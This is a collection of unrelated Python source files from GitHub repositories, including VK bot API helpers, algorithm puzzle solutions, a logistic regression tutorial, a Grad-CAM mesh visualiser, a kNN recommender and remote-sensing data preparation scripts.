+{"seq_id":"35146850143","text":"# -*- coding: utf-8 -*-\nimport json\nimport ujson\n\n\nfrom vkscript_converter.definitions import vkscript\n\n\n\n@vkscript\ndef api_one_run(v, group_id):\n    d = api.groups.getLongPollSettings(v=v, group_id=group_id)\n    if d.is_enabled != true:\n        api.groups.setLongPollSettings(v=v, group_id=group_id, enabled=1, api_version=v, message_new=1, message_reply=1, message_allow=1, message_deny = 1, message_edit = 1, wall_reply_new = 1, wall_reply_edit = 1, wall_reply_delete = 1, wall_reply_restore = 1, wall_post_new = 1, wall_repost = 1, photo_comment_new = 1, photo_comment_edit = 1, photo_comment_delete = 1, photo_comment_restore = 1, video_comment_new = 1, video_comment_edit = 1, video_comment_delete = 1, video_comment_restore = 1, group_join = 1, group_leave = 1, group_change_settings = 1, group_officers_edit = 1, user_block = 1, user_unblock = 1, message_event = 1, message_typing_state = 1)\n    return 1\n\n\n@vkscript\ndef mailing(v, users, group_id):\n    sp = []\n    j = 0\n    for i in users:\n        d = api.messages.isMessagesFromGroupAllowed(v=v, group_id=group_id, user_id=i)\n        if d.is_allowed == 1:\n            sp.append(i)\n        j = j + 1\n        #api.messages.send(v=v, random_id=0, peer_id=i, message=message)\n    return sp\n\n@vkscript\ndef inf(v, id, f, from_id):\n    m = []\n    vre = api.utils.getServerTime()\n    m.append(vre)\n    if f == 0:\n        gname = api.groups.getById(group_id=id)\n        m.append(gname[0].name)\n        admin = api.users.get(user_ids=from_id, name_case=\"'gen'\", fields=\"'first_name, last_name'\")\n        m.append(admin[0].first_name)\n        m.append(admin[0].last_name)\n    else:\n        chel = api.users.get(user_ids=id, fields=\"'first_name, last_name'\")\n        m.append(chel[0].first_name)\n        m.append(chel[0].last_name)\n        admin = api.users.get(user_ids=from_id, name_case=\"'gen'\", fields=\"'first_name, last_name'\")\n        m.append(admin[0].first_name)\n        m.append(admin[0].last_name)\n    return m\n\n@vkscript\ndef inf_lot(from_ids):\n    m = []\n    res = api.users.get(user_ids=from_ids, fields=\"'first_name, last_name'\")\n    for i in res:\n        m.append(i.first_name + \"' '\" + i.last_name)\n    return m\n\n\n@vkscript\ndef kick(users, chat_id):\n    #names = []\n    #u = users.split(\" \")\n    #u = ['363434084', '454049560']\n    #if flag == 1:\n        #api.messages.send(peer_id = peer_id, random_id = 0, message = \"Сейчас вас кикну. Если хотите вернуться, напишите кикнувшему администратору https://vk.com/id\"+ from_id)\n    for i in users:\n        #while i < l:\n        #if u[i][0] == \"-\":\n        #api.messages.removeChatUser(chat_id = chat_id, member_id = u[i])\n        #else:\n        api.messages.removeChatUser(chat_id=chat_id, member_id=i)\n        #names.append(user.first_name)\n    return 1\n\n\n@vkscript\ndef kick_bs(user, chat_ids):\n    #names = []\n    #u = users.split(\" \")\n    #u = ['363434084', '454049560']\n    #if flag == 1:\n        #api.messages.send(peer_id = peer_id, random_id = 0, message = \"Сейчас вас кикну. Е��ли хотите вернуться, напишите кикнувшему администратору https://vk.com/id\"+ from_id)\n    for i in chat_ids:\n        #while i < l:\n        #if u[i][0] == \"-\":\n        #api.messages.removeChatUser(chat_id = chat_id, member_id = u[i])\n        #else:\n        api.messages.removeChatUser(chat_id=i, member_id=user)\n        #names.append(user.first_name)\n    return 1\n\n@vkscript\ndef add_friends(users):\n    for i in users:\n        api.friends.add(user_id=i)\n    return 1\n\n@vkscript\ndef tes(r):\n    r_new = []\n    for i in r:\n        r_new.append(i)\n        for j in r:\n            r_new.append(i)\n    return r_new\n\n@vkscript\ndef tes_new(r):\n    s = 1\n    s += 1\n    print(s)\n    return 1\n\n@vkscript\ndef te(r):\n    nums = [\"5\", \"2\", \"1\", \"8\", \"4\"]\n    for i in range(len(nums) - 1):\n        for j in range(len(nums) - i - 1):\n            if nums[j] > nums[j + 1]:\n                buff = nums[j]\n                nums[j] = nums[j + 1]\n                nums[j + 1] = buff\n    print(nums)\n    for i in range(len(nums)):\n        lowest_value_index = i\n        for j in range(i + 1, len(nums)):\n            if nums[j] < nums[lowest_value_index]:\n                lowest_value_index = j\n        buff = nums[i]\n        nums[i] = nums[lowest_value_index]\n        nums[lowest_value_index] = buff\n    print(nums)\n    for i in range(1, len(nums)):\n        item_to_insert = nums[i]\n        j = i - 1\n        while j >= 0 and nums[j] > item_to_insert:\n            nums[j + 1] = nums[j]\n            j -= 1\n        nums[j + 1] = item_to_insert\n    print(nums)\n\nif __name__ == \"__main__\":pass\n    #print(1)\n    #print(tes(r=[1, 2, 3, 4, 5, 6, 7, 8]))\n    #print(kick(users=[\"121\"], chat_id=34))\n    #print(tes_new(r=1))\n    #print(te(r=1))\n","repo_name":"StasikLeyshin/mir_bot","sub_path":"api/api_execute.py","file_name":"api_execute.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6046032025","text":"import math\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nnum = []\nfor _ in range(n):\n    num.append(int(input()))\n    \n# 산술평균\nprint(round(sum(num)/n))\n\n#중앙값\nnum.sort()\nprint(num[n//2])\n\n#최빈값\ndic = {}\nfor i in range(len(num)):\n    if num[i] not in dic.keys():\n        dic[num[i]] = 1\n    else:\n        dic[num[i]]+=1\ndic = sorted(dic.items())\ndic.sort(key = lambda x: (x[1],-x[0]), reverse = True)\n\nif n >1:\n    if dic[0][1] == dic[1][1]: #최빈값 2개 이상\n        print(dic[1][0])\n    else:\n        print(dic[0][0])\nelse:\n    print(dic[0][0])\n\n#범위\nprint(num[-1] - num[0]) #정렬했으므로 양끝에 최소,최대","repo_name":"kiiimhyorim/Algorithm","sub_path":"BOJ2108.py","file_name":"BOJ2108.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74387226431","text":"def solution(survey, choices):\n    answer = ''\n\n    dic = {'R': 0, 'T': 0, 'C': 0, 'F': 0, 'J': 0, 'M': 0, 'A': 0, 'N': 0}\n\n    for s, c in zip(survey, choices):\n        if c < 4:\n            dic[s[0]] += 4 - c\n        elif c > 4:\n            dic[s[1]] += c - 4\n\n    kakao = list(dic.keys())\n    for i in range(0, 8, 2):\n        left = dic[kakao[i]]\n        right = dic[kakao[i+1]]\n\n        if left >= right:\n            answer += kakao[i]\n        else :\n            answer += kakao[i+1]\n    return answer\n\n\nprint(solution([\"TR\", \"RT\", \"TR\"], [7, 1, 3]))\n","repo_name":"Yusiwon/Programmers_Python","sub_path":"src/2022 KAKAO TECH INTERNSHIP/성격 유형 검사하기.py","file_name":"성격 유형 검사하기.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21947205831","text":"import pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import confusion_matrix, classification_report\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nad_data = pd.read_csv(r\"D:\\Documentos\\Trabajo\\Udemy\\Refactored_Py_DS_ML_Bootcamp-master\\13-Logistic-Regression\"\r\n                      r\"\\advertising.csv\")\r\nprint(ad_data.head())\r\nprint('')\r\n\r\nprint(ad_data.info())\r\nprint('')\r\n\r\nprint(ad_data.describe())\r\n\r\nsns.set(style='whitegrid')\r\n\r\n# Age histogram\r\nsns.distplot(ad_data['Age'], bins=30)\r\nplt.title('Age')\r\nplt.show()\r\n\r\n# Joint plot average income vs age\r\n\r\nsns.jointplot(y='Area Income', x='Age', data=ad_data, edgecolor='black', linewidth=0.35)\r\nplt.show()\r\n\r\nsns.jointplot(x='Age', y='Daily Time Spent on Site', data=ad_data, kind='kde', color='r')\r\nplt.show()\r\n\r\nsns.jointplot(x='Daily Internet Usage', y='Daily Time Spent on Site', data=ad_data, color='g',\r\n              marginal_kws=dict(bins=20), edgecolor='black', linewidth=0.3)\r\nplt.show()\r\n\r\n# sns.pairplot(ad_data, hue='Clicked on Ad', palette='RdBu_r', diag_kind='hist')\r\n# plt.show()\r\n\r\nX = ad_data.drop(['Clicked on Ad', 'Ad Topic Line', 'City', 'Country', 'Timestamp'], axis=1)\r\nprint(X)\r\ny = ad_data['Clicked on Ad']\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=101, test_size=0.3)\r\n\r\nlgm= LogisticRegression(max_iter=5000)\r\n\r\nlgm.fit(X_train, y_train)\r\n\r\npredictions = lgm.predict(X_test)\r\n\r\nprint('Classification report')\r\nprint(classification_report(y_test, predictions))\r\nprint('')\r\n\r\nprint('Confusion matrix')\r\nprint(confusion_matrix(y_test, predictions))\r\n\r\n","repo_name":"AlexAbades/Data_science_course","sub_path":"Lesson 14 Logistic Regression/Udemy_03_Project.py","file_name":"Udemy_03_Project.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5368426407","text":"\"\"\"\nModule containing the `containers` used for root storage.\n\nThis module contains the abstract container interface `RootContainer` as well\nas its concrete implementations.\n\"\"\"\n\nfrom pyzeal.utils.containers.root_container import RootContainer\n\n__all__ = [\n    \"RootContainer\",\n]\n","repo_name":"Spectral-Analysis-UPB/PyZEAL","sub_path":"pyzeal/utils/containers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"41702412584","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport os\nimport time\nfrom layers.geodesic import Geodesic\nfrom layers.geometric import Geometric\nfrom layers.meshconv import MeshConv\n\nimport openmesh as om\nimport pymeshlab as ml\nimport trimesh as tm\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nfrom matplotlib import cm as cmx\n\nroot_dir = './dataset' # dataset name for training\noriginal_dataset = './cubes_500' # manifold dataset name (results of resize_manifold.py)\n\nclass SingleImgDataset(torch.utils.data.Dataset):\n\n    def __init__(self, root_dir, mode):\n        self.root_dir = root_dir\n        class_names = sorted(os.listdir(self.root_dir))\n        self.classnames = class_names\n        self.mode = mode\n        \n        self.filepaths = []\n        for class_name in class_names:\n            path = os.path.join(root_dir, class_name, mode)\n            obj_name = np.sort(os.listdir(path))\n            for obj in obj_name:\n                obj_path = os.path.join(path, obj)\n                self.filepaths.append(obj_path)\n        \n    def __len__(self):\n        return len(self.filepaths)\n\n    def __getitem__(self, idx):\n        path = self.filepaths[idx]\n        class_name = path.split('/')[2]\n        class_id = self.classnames.index(class_name)\n        \n        d_1 = np.load(self.filepaths[idx], allow_pickle=True)\n        ed = torch.from_numpy(d_1.item()['edge'])\n        fa = torch.from_numpy(d_1.item()['face'])\n        ad = d_1.item()['adj']\n        return (class_id, ed , fa, ad, path)\n\n\nclass ExMeshCNN(nn.Module):\n    \"\"\"\n    ed: edge feature\n    fa: face feature\n    ad: adjacent face list\n    \"\"\"\n    def __init__(self, num_classes=10):\n        super().__init__()\n        \n        self.conv_e = Geodesic(128,64)\n        self.conv_f = Geometric(128,64)\n        self.conv1 = MeshConv(128,128)\n        self.conv2 = MeshConv(128,256)\n        self.conv3 = MeshConv(256,256)\n        self.conv4 = MeshConv(256,512)\n        self.fcn = nn.Sequential(\n            nn.Conv1d(in_channels=512 , out_channels=num_classes, kernel_size=1, stride=1, bias=False),\n            nn.BatchNorm1d(num_classes)\n        )\n        self.avg_pool = nn.AdaptiveAvgPool1d(1)\n        \n    def activations_hook(self, grad):\n        self.gradients = grad\n    \n    def get_activations_gradient(self):\n        return self.gradients\n    \n    def get_activations(self):\n        return self.acts\n\n    def forward(self, ed, fa, ad):\n        ed = self.conv_e(ed)\n        fa = self.conv_f(fa)\n        fe = torch.cat([ed,fa],dim=1)\n        fe = self.conv1(fe, ad)\n        fe = self.conv2(fe, ad)\n        fe = self.conv3(fe, ad)\n        fe = self.conv4(fe, ad)\n        self.acts = fe\n        h = fe.register_hook(self.activations_hook)\n        fe = self.fcn(fe)\n        fe = self.avg_pool(fe)\n        fe = fe.view(fe.size(0), -1)\n        return fe\n\ndef count_parameters(model):\n    return sum(p.numel() for p in model.parameters() if p.requires_grad)\n    \nclass_names = sorted(os.listdir(root_dir)) \ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nlearning_rate = 0.001\ntraining_epochs = 500\nbatch_size = 16\n\nmodel = ExMeshCNN(len(class_names)).to(device)\n\nmodel.load_state_dict(torch.load(\"./model_save.pt\"))\nmodel.eval();\n\nval_dataset = SingleImgDataset(root_dir, 'test')\nval_loader = torch.utils.data.DataLoader(val_dataset, batch_size=1, shuffle=False, num_workers=0)\n\nfor k, data in enumerate(val_loader):\n    print(\"({}/{})\".format(len(val_loader), k+1))\n    Y = data[0].to(device)\n    X1 = data[1].to(device)\n    X2 = data[2].to(device)\n    X3 = data[3].to(device)\n    pred = model(X1, X2, X3)\n    hc = pred.argmax()\n\n    pred[:,hc].backward()\n    gradients = model.get_activations_gradient()\n    pooled_gradients = torch.mean(gradients, dim=[0, 2])\n    activations = model.get_activations()\n    for i in range(activations.shape[1]):\n        activations[:,i,:] *= pooled_gradients[i]\n    heatmap = torch.mean(activations, dim=1).squeeze()\n    heatmap -= heatmap.mean()\n    heatmap = torch.relu(heatmap)\n    heatmap /= torch.max(heatmap)\n    heatmap = heatmap.detach().cpu()\n    path = data[4][0][:-4]\n    path = path.replace(root_dir, original_dataset)\n    ccmp = plt.get_cmap('Reds')\n    cNorm  = colors.Normalize(vmin=0, vmax=1)\n    scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=ccmp)\n\n    mesh = om.read_trimesh(path)\n    for i,face in enumerate(mesh.faces()):\n        mesh.set_color(face, scalarMap.to_rgba(heatmap[i]))\n        \n    new_path = path.replace(original_dataset, \"Explain\")\n    path_ = new_path.split(\"/\")[:-1]\n    path_dir = \"\"\n    for p in path_:\n        path_dir = os.path.join(path_dir,p)\n    path_dir\n    os.makedirs(path_dir, exist_ok=True)\n    \n    om.write_mesh(new_path, mesh, face_color=True)\n\n\n","repo_name":"gyeomo/ExMeshCNN","sub_path":"Grad-CAM.py","file_name":"Grad-CAM.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"37716125704","text":"from math import sqrt\n\nimport numpy as np\n\ndef cosine(dataA, dataB):\n    if type(dataA) is list and type(dataB) is list:\n        if len(dataA) != len(dataB):\n            print(\"Not same length!\")\n            return -1\n\n        dataLength = len(dataA)\n        AB = sum([dataA[i]*dataB[i] for i in range(dataLength)])\n        normA = sqrt(sum([i**2 for i in dataA]))\n        normB = sqrt(sum([i**2 for i in dataB]))\n\n        denominator = normA * normB\n        if denominator == 0:\n            return 0\n        return AB/denominator\n    else:\n        print(\"Input data invalid!\")\n        return -1\n\ndef pearson(dataA, dataB):\n    if type(dataA) is list and type(dataB) is list:\n        if len(dataA) != len(dataB):\n            print(\"Not same length!\")\n            return -1\n\n        dataLength = len(dataA)\n        intersection = [i for i in range(dataLength) if dataA[i]!=0 and dataB[i]!=0]\n        #intersection = [i for i in range(dataLength)]\n        if len(intersection) == 0:\n            return 0\n\n        avgA = np.mean([i for i in dataA if i != 0])\n        avgB = np.mean([i for i in dataB if i != 0])\n        #avgA = np.mean([i for i in dataA])\n        #avgB = np.mean([i for i in dataB])\n        numerator = sum([(dataA[i] - avgA)*(dataB[i] - avgB) for i in intersection])\n        deviationA = sqrt(sum([(dataA[i]-avgA)**2 for i in intersection]))\n        deviationB = sqrt(sum([(dataB[i]-avgB)**2 for i in intersection]))\n        if(deviationA * deviationB) == 0:\n            return 0\n        return numerator/(deviationA*deviationB)\n\n\ndef kNN(data, measure, k = None):\n    #simulatedData = [[round(np.corrcoef(i,j)[0,1],3) for j in data] for i in data]\n    simulatedData = [[round(measure(i,j),3) for j in data] for i in data]\n    #'''\n    print(\"Similarity Data\")\n    for i in simulatedData:\n        print(i)\n    #'''\n    print(k)\n    newData = []\n    for i in range(len(data)):\n        newData.append([])\n        for j in range(len(data[i])):\n            if(data[i][j] == 0):\n                #print(\"i,j = \", i,j)\n                userCol = [(simulatedData[i][index], index) for index in range(len(simulatedData[i]))]\n                #print(\"userCol\")\n                userCol.sort(reverse = True)\n                #print(userCol)\n                #taken = userCol[1:k+1]\n                taken = []\n                countk = 0\n                #print(\"k:\",k)\n                for l in range(0,len(userCol)):\n                #    print(l)\n                #    print(\"data: \",data[userCol[l][1]][j])\n                    if userCol[l][1] == i:\n                        continue\n                    if (data[userCol[l][1]][j] != 0):\n                        countk += 1\n                        taken.append(userCol[l])\n                    if (countk == k):\n                        #print(\"noooowat\")\n                        break\n                \n                #print(\"taken\")\n                #print(taken)\n                #print(data)\n                \n                #k = len(taken)\n                predictingMean = np.mean([index for index in data[i] if index != 0])\n                similarUserMean = [np.mean([l for l in data[index[1]] if l != 0]) for index in taken]\n                \n                #print(\"SimilarUserMean\")\n                #print(similarUserMean)\n                #print([data[i][taken[k][1]] for k in range(len(taken))])\n                #print()\n                #print(simulatedData[i][taken[k][1]], data[taken[k][1]][j], similarUserMean[k])\n                numerator = sum([simulatedData[i][taken[index][1]]*(data[taken[index][1]][j] - similarUserMean[index]) for index in range(len(taken))])\n                #print(predictingMean)\n                denominator = sum([simulatedData[i][taken[index][1]] for index in range(len(taken))])\n                #print(denominator)\n                #print([simulatedData[i][taken[k][1]] for k in range(len(taken))])\n                #print()\n                if (denominator == 0):\n                    newData[i].append(0)\n                    continue\n                res = predictingMean + numerator/denominator\n                newData[i].append(round(res,3))\n            else:\n                newData[i].append(data[i][j])\n    return newData\n\n\n'''\nfrom scipy import spatial\n\ntable2 = [[round(1 - spatial.distance.cosine(i, j),3) for j in data] for i in data]\nprint()\nfor i in table2:\n    print(i)\n\ntable3 = [[round(pearson(i,j),3) for j in data] for i in data]\nprint()\nfor i in table3:\n    print(i)\n\ntable4 = [[np.corrcoef(i,j)[0,1] for j in data] for i in data]\nprint()\nfor i in table4:\n    print(i)\n'''\n\ndef readFile(fileString):\n    return np.loadtxt(fileString, delimiter=\" \", dtype = \"int\").tolist()\n\nif __name__ == \"__main__\":\n    fileString = r'F:\\Tut\\Sem6\\Information System\\testData\\test3.txt'\n    data = readFile(fileString)\n    print(\"DATA:\")\n    for i in data:\n        print(i)\n\n    print(\"KNN Pearson:\")\n    blah = kNN(data, pearson, 2)\n    for i in blah:\n        print(i)\n    \n    print(\"\\nKNN Cosine\")\n    bleh = kNN(data, cosine, 2)\n    for i in bleh:\n        print(i)\n    \n","repo_name":"yampml/InformationSystemCode","sub_path":"kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":5054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6587733626","text":"s = input(\"문자를 입력하세요: \")\r\n    \r\ndef  Palindrome(text):\r\n\r\n\r\n    def toChars(s):\r\n       s=s.lower()\r\n       ans=''\r\n       for c in s:\r\n         if c in 'abcdefghijklmnopqrstuvwxyz':\r\n            ans = ans+c\r\n       return ans\r\n\r\n\r\n    def isPalid(s):\r\n       if len(s)<=1:\r\n          return True\r\n                    \r\n       else:\r\n          return False\r\n\r\nif Palindrome(s):\r\n    \r\n    print(1)\r\nelse:\r\n    print(0)\r\n\r\n          \r\n","repo_name":"DEPthes/2nd-Web-hyeonjun","sub_path":"aaa/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38235992508","text":"\"\"\"\r\n功能：\r\n    生成从MERSI直接映射为Landsat8分辨率的训练集\r\n\r\nv1.0 王剑 2020/02/27\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nimport h5py\r\nimport os\r\n\r\n# date = '20200101_0515'\r\ndate = '20191207_0450'\r\nCV_path = './Train/CV/'\r\nTrain_path = './Train/Set0/'\r\nPatch_size = 64         # 图像块大小\r\nRandom_crop = 64        # 单个图象划分图像块个数\r\nlabel_size = 52         # 目标图像块大小\r\nconv_side = 6           # 考虑边缘效应(由滤波器决定)\r\nBLOCK_STEP = 32\r\nBLOCK_SIZE = 64\r\n\r\n\r\ndef Cut():\r\n    # 裁剪为子图像\r\n    hr_img = cv2.imread('./Data/MERSI/Affine/' + date + '_Landsat8.bmp', cv2.IMREAD_COLOR)\r\n    hr_data = np.load('./Data/MERSI/Affine/' + date + '_Landsat8_data.npy')\r\n    lr_img = cv2.imread('./Data/MERSI/Affine/' + date + '_MERSI.bmp', cv2.IMREAD_COLOR)\r\n    lr_data = np.load('./Data/MERSI/Affine/' + date + '_MERSI_data.npy')\r\n    \"\"\"if scale == '4':\r\n        lr_img = cv2.imread('./Data/MERSI/Affine/' + date + '_MERSI.bmp', cv2.IMREAD_COLOR)\r\n        lr_data = np.load('./Data/MERSI/Affine/' + date + '_MERSI_data.npy')\r\n        _shape_hr = hr_img.shape\r\n        _shape_lr = [int(_shape_hr[0] / 4), int(_shape_hr[1] / 4), 3]\r\n        print(_shape_hr, _shape_lr)\r\n        hr_img = cv2.resize(hr_img, (_shape_lr[1], _shape_lr[0]))\r\n        lr_img = cv2.resize(lr_img, (_shape_lr[1], _shape_lr[0]))\r\n        hr_data = cv2.resize(hr_data, (_shape_lr[1], _shape_lr[0]))\r\n        lr_data = cv2.resize(lr_data, (_shape_lr[1], _shape_lr[0]))\r\n    elif scale == '2':\r\n        lr_img = cv2.imread('./Train/4x/Result/MERSI.bmp', cv2.IMREAD_COLOR)\r\n    cv2.imwrite('./Train/' + scale + 'x/Result/Landsat8.bmp', hr_img)\r\n    cv2.imwrite('./Train/' + scale + 'x/Result/MERSI.bmp', lr_img)\"\"\"\r\n    _shape = hr_img.shape\r\n\r\n    # 确定裁剪数量\r\n    _row = (_shape[0] - 32) // 224\r\n    _temp = (256 * (_row + 1) - _shape[0]) // _row + 1\r\n    _row = (_shape[0] - _temp) // (256 - _temp)\r\n    _row_cut = 256 - _temp\r\n    _col = (_shape[1] - 32) // 224\r\n    _temp = (256 * (_col + 1) - _shape[1]) // _col + 1\r\n    _col = (_shape[1] - _temp) // (256 - _temp)\r\n    _col_cut = 256 - _temp\r\n\r\n    # 图像格式和数据格式分别裁剪\r\n    for i in range(_row):\r\n        for j in range(_col):\r\n            temp = str(i * _col + j)\r\n            lr_cropped = lr_img[(i * _row_cut):(i * _row_cut + 256), (j * _col_cut):(j * _col_cut + 256)]\r\n            hr_cropped = hr_img[(i * _row_cut):(i * _row_cut + 256), (j * _col_cut):(j * _col_cut + 256)]\r\n            cv2.imwrite('./Data/Set_Cor/{}_MERSI.bmp'.format(temp), lr_cropped)\r\n            cv2.imwrite('./Data/Set_Cor/{}_Landsat.bmp'.format(temp), hr_cropped)\r\n            lr_cropped = lr_data[(i * _row_cut):(i * _row_cut + 256), (j * _col_cut):(j * _col_cut + 256)]\r\n            hr_cropped = hr_data[(i * _row_cut):(i * _row_cut + 256), (j * _col_cut):(j * _col_cut + 256)]\r\n            np.save('./Data/Set_Cor_data/{}_MERSI_data'.format(temp), lr_cropped)\r\n            np.save('./Data/Set_Cor_data/{}_Landsat8_data'.format(temp), hr_cropped)\r\n\r\n\r\ndef prepare_CV(_b):\r\n    # 准备交叉验证样本\r\n    _data_names = os.listdir(CV_path)        # 返回指定（交叉验证数据）文件夹包含的文件（数据）名字的列表\r\n    _data_names = sorted(_data_names)         # 对图片名称进行排序\r\n    _data_nums = _data_names.__len__()        # 统计交叉验证图像个数\r\n\r\n    _data = np.zeros((int(_data_nums/2) * Random_crop, 1, Patch_size, Patch_size), dtype=np.double)\r\n    _label = np.zeros((int(_data_nums/2) * Random_crop, 1, label_size, label_size), dtype=np.double)\r\n\r\n    for i in range(int(_data_nums/2)):\r\n        _hr_path = CV_path + _data_names[i*2]\r\n        _lr_path = CV_path + _data_names[i*2+1]\r\n        _hr_data = np.load(_hr_path)[:, :, _b]\r\n        _lr_data = np.load(_lr_path)[:, :, _b]\r\n        shape = _hr_data.shape\r\n\r\n        Points_x = np.random.randint(0, min(shape[0], shape[1]) - Patch_size, Random_crop)\r\n        Points_y = np.random.randint(0, min(shape[0], shape[1]) - Patch_size, Random_crop)\r\n\r\n        for j in range(Random_crop):\r\n            _hr_patch = _hr_data[Points_x[j]: Points_x[j] + Patch_size, Points_y[j]: Points_y[j] + Patch_size]\r\n            _lr_patch = _lr_data[Points_x[j]: Points_x[j] + Patch_size, Points_y[j]: Points_y[j] + Patch_size]\r\n\r\n            _hr_patch = _hr_patch.astype(np.float)\r\n            _lr_patch = _lr_patch.astype(np.float)\r\n\r\n            _data[i * Random_crop + j, 0, :] = _lr_patch\r\n            _label[i * Random_crop + j, 0, :] = _hr_patch[conv_side: -conv_side, conv_side: -conv_side]\r\n    print(_data.shape)\r\n    return _data, _label\r\n\r\n\r\ndef prepare_train(_b):\r\n    # 准备训练样本\r\n    _data_names = os.listdir(Train_path)\r\n    _data_names = sorted(_data_names)\r\n    _data_nums = _data_names.__len__()\r\n\r\n    _data = []\r\n    _label = []\r\n\r\n    for i in range(int(_data_nums/2)):\r\n        _hr_path = Train_path + _data_names[i*2]\r\n        _lr_path = Train_path + _data_names[i*2+1]\r\n        _hr_data = np.load(_hr_path)[:, :, _b]\r\n        _lr_data = np.load(_lr_path)[:, :, _b]\r\n        _shape = _hr_data.shape\r\n\r\n        _width_num = int((_shape[0] - (BLOCK_SIZE - BLOCK_STEP)) / BLOCK_STEP)\r\n        _height_num = int((_shape[1] - (BLOCK_SIZE - BLOCK_STEP)) / BLOCK_STEP)\r\n\r\n        for k in range(_width_num):\r\n            for j in range(_height_num):\r\n                x = k * BLOCK_STEP\r\n                y = j * BLOCK_STEP\r\n                _hr_patch = _hr_data[x: x + BLOCK_SIZE, y: y + BLOCK_SIZE]\r\n                _lr_patch = _lr_data[x: x + BLOCK_SIZE, y: y + BLOCK_SIZE]\r\n\r\n                _lr_patch = _lr_patch.astype(float)\r\n                _hr_patch = _hr_patch.astype(float)\r\n\r\n                _lr = np.zeros((1, Patch_size, Patch_size), dtype=np.double)\r\n                _hr = np.zeros((1, label_size, label_size), dtype=np.double)\r\n\r\n                _lr[0, :] = _lr_patch\r\n                _hr[0, :] = _hr_patch[conv_side: -conv_side, conv_side: -conv_side]\r\n\r\n                _data.append(_lr)\r\n                _label.append(_hr)\r\n\r\n    _data = np.array(_data, dtype=float)\r\n    _label = np.array(_label, dtype=float)\r\n    print(_data.shape)\r\n    return _data, _label\r\n\r\n\r\ndef write_hdf5(data, labels, output_filename):\r\n    # 保存训练、测试的数据和标签为h5文件\r\n\r\n    x = data.astype(np.float32)\r\n    y = labels.astype(np.float32)\r\n\r\n    with h5py.File(output_filename, 'w') as h:\r\n        h.create_dataset('data', data=x, shape=x.shape)\r\n        h.create_dataset('label', data=y, shape=y.shape)\r\n\r\n\r\nif __name__ == '__main__':\r\n    # Cut()\r\n    for band in range(3):\r\n        temp = str(band)\r\n        data, label = prepare_CV(band)\r\n        write_hdf5(data, label, './Train/Model/CV' + temp + '.h5')\r\n        data, label = prepare_train(band)\r\n        write_hdf5(data, label, './Train/Model/Train' + temp + '.h5')\r\n","repo_name":"Wovez/SR-in-RS","sub_path":"Prepare_Cordata.py","file_name":"Prepare_Cordata.py","file_ext":"py","file_size_in_byte":6867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5609558007","text":"class Solution:\n    def checkInclusion(self, s1: str, s2: str) -> bool:\n        left = 0\n        s1_array = sorted(list(s1))\n        s2_array = []\n        for right in range(len(s2)):\n            s2_array.append(s2[right])\n            if right - left + 1 == len(s1):\n                if s1_array == sorted(s2_array[left:right+1]):\n                    return True\n                left += 1\n        return False","repo_name":"EyasuTesfu/Competitive-Programming","sub_path":"0567-permutation-in-string/0567-permutation-in-string.py","file_name":"0567-permutation-in-string.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23019391495","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\ndp = [4 for _ in range(N+1)]\ndp[0], dp[1] = 0, 1\n\nfor i in range(2, N+1):\n    _min = float('inf')\n    j = 1\n\n    while j**2 <= i:\n        _min = min(_min, dp[i-j**2])\n        j += 1\n    dp[i] = _min + 1\nprint(dp[N])","repo_name":"pjaehyun/TIL","sub_path":"PS/backjoon/17626.Four Squares.py","file_name":"17626.Four Squares.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
